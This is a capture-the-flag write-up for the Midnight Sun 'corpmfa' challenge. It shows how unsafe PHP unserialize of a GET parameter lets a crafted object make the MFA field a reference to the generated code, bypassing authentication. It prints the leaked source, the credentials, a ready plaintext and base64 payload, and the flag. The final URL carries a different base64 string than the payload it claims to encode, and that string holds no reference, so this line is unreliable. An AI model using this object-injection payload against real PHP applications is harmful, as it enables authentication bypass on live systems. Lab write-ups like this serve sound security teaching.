The source for this corporate zero-trust multi factor login portal has been leaked! Figure out how to defeat the super-secure one time code.
Service: http://corpmfa-01.play.midnightsunctf.se
Download: corpmfa.tar.gz
The service is a login page which requires a username, password, and MFA token.
We are given the php source code for the challenge.
<?php
final class User
{
private $userData;
public function __construct($loginAttempt)
{
$this->userData = unserialize($loginAttempt);
if (!$this->userData)
throw new InvalidArgumentException('Unable to reconstruct user data');
}
private function verifyUsername()
{
return $this->userData->username === 'D0loresH4ze';
}
private function verifyPassword()
{
return password_verify($this->userData->password, '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');
}
private function verifyMFA()
{
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);
return (int)$this->userData->mfa === $this->userData->_correctValue;
}
public function verify()
{
if (!$this->verifyUsername())
throw new InvalidArgumentException('Invalid username');
if (!$this->verifyPassword())
throw new InvalidArgumentException('Invalid password');
if (!$this->verifyMFA())
throw new InvalidArgumentException('Invalid MFA token value');
return true;
}
}
As we can see, the username and password are hardcoded. The password is hashed using built-in php functions. The MFA token is a randomly generated integer for each login.
The username is given in the source code:
private function verifyUsername()
{
return $this->userData->username === 'D0loresH4ze';
}
The password for the given hash can be found online from the php official documentation:
private function verifyPassword()
{
return password_verify($this->userData->password, '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');
}
Password: rasmuslerdorf
It is impractical to guess the value of the MFA token. However, there is an unsafe deserialization of user input on each login attempt:
public function __construct($loginAttempt)
{
$this->userData = unserialize($loginAttempt);
if (!$this->userData)
throw new InvalidArgumentException('Unable to reconstruct user data');
}
We can specify our own unserialize
input as a GET parameter:
if (!empty($_GET) && isset($_GET['userdata']))
{
// prepare notification data structure
$notification = new stdClass();
// check credentials & MFA
try
{
$user = new User(base64_decode($_GET['userdata']));
if ($user->verify())
{
$notification->type = 'success';
$notification->text = 'Congratulations, your flag is: ' . file_get_contents('/flag.txt');
}
...
By crafting our own input for unserialize
, we can make the mfa
variable a reference to _correctValue
, so that (int)$this->userData->mfa === $this->userData->_correctValue
always returns true.
To do so, we modify the serialized payload to include an additional field _correctValue
, formatted as a number N
.
We can now reference this value when setting mfa
using the R
format and pointing it at position 2, where the N
format from earlier was placed.
Now, mfa
will reference the value of _correctValue
.
# plaintext
O:8:"stdClass":4:{s:13:"_correctValue";N;s:8:"username";s:11:"D0loresH4ze";s:8:"password";s:13:"rasmuslerdorf";s:3:"mfa";R:2;}
# base64
Tzo4OiJzdGRDbGFzcyI6NDp7czoxMzoiX2NvcnJlY3RWYWx1ZSI7TjtzOjg6InVzZXJuYW1lIjtzOjExOiJEMGxvcmVzSDR6ZSI7czo4OiJwYXNzd29yZCI7czoxMzoicmFzbXVzbGVyZG9yZiI7czozOiJtZmEiO1I6Mjt9
# url
https://corpmfa-01.play.midnightsunctf.se/?userdata=Tzo4OiJzdGRDbGFzcyI6Mzp7czo4OiJ1c2VybmFtZSI7czoxMToiRDBsb3Jlc0g0emUiO3M6ODoicGFzc3dvcmQiO3M6MTM6InJhc211c2xlcmRvcmYiO3M6MzoibWZhIjtzOjEwOiIxMjM0NTY3ODkwIjt9
midnight{395E160F-4DB8-4D7A-99EF-08E6799741B5}